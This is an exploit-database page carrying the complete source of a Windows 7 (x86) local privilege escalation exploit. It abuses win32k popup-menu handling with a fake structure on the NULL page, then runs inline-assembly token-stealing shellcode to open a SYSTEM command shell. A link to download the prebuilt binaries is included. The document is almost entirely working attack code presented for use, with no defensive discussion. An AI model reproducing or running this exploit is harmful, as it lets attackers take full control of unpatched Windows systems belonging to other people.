ExploitFixes
Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation 2019-07-26 12:17:48

#include <Windows.h>
#include <iostream>

/*
EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47176.zip
*/

/* PREPROCESSOR DEFINITIONS */
#define MN_SELECTITEM 0x1E5
#define MN_SELECTFIRSTVALIDITEM 0x1E7
#define MN_OPENHIERARCHY 0x01E3
#define MN_CANCELMENUS 0x1E6
#define MN_BUTTONDOWN 0x1ed
#define WM_EX_TRIGGER 0x6789
#define NtCurrentProcess() (HANDLE)-1
#define NtCurrentThread() (HANDLE)-1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define TYPE_WINDOW 1

/* GLOBAL VARIABLES */
static BOOL hWindowHuntDestroy = FALSE;
static BOOL bEnterEvent = FALSE;
static BOOL success = FALSE;
static HMENU hMenuList[3] = { 0 };
static HWND hWindowMain = NULL;
static HWND hWindowHunt = NULL;
static HWND hwndMenuList[3] = { 0 };
static PVOID MemAddr = (PVOID)1;
static SIZE_T MemSize = 0x1000;
static DWORD iCount = 0;
static DWORD release = 0;


/* Structure definition of win32k!tagWND returned by xxHMValidateHandle */
typedef struct _HEAD {
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD {
HEAD head;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _DESKHEAD {
PVOID rpdesk;
PBYTE pSelf;
} DESKHEAD, *PDESKHEAD;

typedef struct _THRDESKHEAD {
THROBJHEAD thread;
DESKHEAD deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;

/* Definition of xxHMValidateHandle */
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;

/* Defintion of NtallocateVirtualMemory */
typedef
NTSTATUS
(WINAPI *pfNtAllocateVirtualMemory) (
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


static
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
break;
}
}

static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

static
PVOID
xxHMValidateHandle(HWND hwnd)
{
PVOID RetAddr = NULL;
if (!pfnHMValidateHandle)
{
xxGetHMValidateHandle();
}
if (pfnHMValidateHandle)
{
RetAddr = xxHMValidateHandleEx(hwnd);
}
return RetAddr;
}

static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW)
{
WNDCLASSEXW wc = { 0 };
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = pfnProc;
wc.cbWndExtra = cbWndExtra;
wc.hInstance = GetModuleHandleA(NULL);
wc.lpszMenuName = NULL;
wc.lpszClassName = lpszClassName;
return RegisterClassExW(&wc);
}

static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL)
{
return CreateWindowExW(dwExStyle,
lpszClassName,
NULL,
dwStyle,
0,
0,
1,
1,
hwndParent,
NULL,
hInstance,
NULL);
}

static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
{
printf("Sending the MN_CANCELMENUS message\n");
SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
bEnterEvent = FALSE;
}
return CallNextHookEx(0, code, wParam, lParam);
}


static
VOID
CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
UNREFERENCED_PARAMETER(hWinEventHook);
UNREFERENCED_PARAMETER(event);
UNREFERENCED_PARAMETER(idObject);
UNREFERENCED_PARAMETER(idChild);
UNREFERENCED_PARAMETER(idEventThread);
UNREFERENCED_PARAMETER(dwmsEventTime);

bEnterEvent = TRUE;
if (iCount < ARRAYSIZE(hwndMenuList))
{
hwndMenuList[iCount] = hwnd;
iCount++;
}
SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}

__declspec(noinline) int Shellcode()
{
__asm {
xor eax, eax // Set EAX to 0.
mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
// _KTHREAD is located at FS:[0x124]
mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
mov ecx, eax // Copy current process _EPROCESS structure
mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0xF8], edx // Assign SYSTEM process token.
}
}

static
LRESULT
WINAPI
xxMainWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == 0x1234)
{
WORD um = 0;
__asm
{
// Grab the value of the CS register and
// save it into the variable UM.
//int 3
mov ax, cs
mov um, ax
}
// If UM is 0x1B, this function is executing in usermode
// code and something went wrong. Therefore output a message that
// the exploit didn't succeed and bail.
if (um == 0x1b)
{
// USER MODE
printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
ExitProcess(-1); // Bail as if this code is hit either the target isn't
// vulnerable or something is wrong with the exploit.
}
else
{
success = TRUE; // Set the success flag to indicate the sprayCallback()
// window procedure is running as SYSTEM.
Shellcode(); // Call the Shellcode() function to perform the token stealing and
// to remove the Job object on the Chrome renderer process.
}
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}

int main()
{
/* Creating the menu */
for (int i = 0; i < 3; i++)
hMenuList[i] = CreateMenu();

/* Appending the menus along with the item */
for (int i = 0; i < 3; i++)
{
AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
}
AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");

/* Creating a main window class */
xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
WS_VISIBLE,
GetModuleHandleA(NULL));
printf("Handle of the mainWindow : 0xX\n", (unsigned int)hWindowMain);
ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);

/* Creating the hunt window class */
xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
WS_EX_LEFT,
WS_OVERLAPPEDWINDOW,
GetModuleHandleA(NULL));
printf("Handle of the huntWindow : 0xX\n", (unsigned int)hWindowHunt);

/* Hooking the WH_CALLWNDPROC function */
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());

/* Hooking the trackpopupmenuEx WINAPI call */
HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
GetCurrentProcessId(), GetCurrentThreadId(), 0);

/* Setting the root popup menu to null */
printf("Setting the root popup menu to null\n");
release = 0;
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

/* Allocating the memory at NULL page */
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
return 1;

if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
&MemAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || MemAddr != NULL)
{
std::cout << "[-]Memory alloc failed!" << std::endl;
return 1;
}
ZeroMemory(MemAddr, MemSize);

/* Getting the tagWND of the hWindowHunt */
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
printf("Address of the win32k!tagWND of hWindowHunt : 0xX\n", (unsigned int)head->deskhead.pSelf);

/* Creating a fake POPUPMENU structure */
DWORD dwPopupFake[0x100] = { 0 };
dwPopupFake[0x0] = (DWORD)0x1; //->flags
dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0x1; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0x1; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
dwPopupFake[0xC] = (DWORD)0;

/* Copying it to the NULL page */
RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);

/* Allowing to access the NULL page mapped values */
release = 1;
hwndMenuList[2] = NULL;
TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL);

/* Freeing the allocated NULL memory */
VirtualFree(MemAddr, 0x1000, 0);

SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11);

if (success)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf("Getting the shell now...\n");
BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (bRet)
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}

DestroyWindow(hWindowMain);

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return 0;
}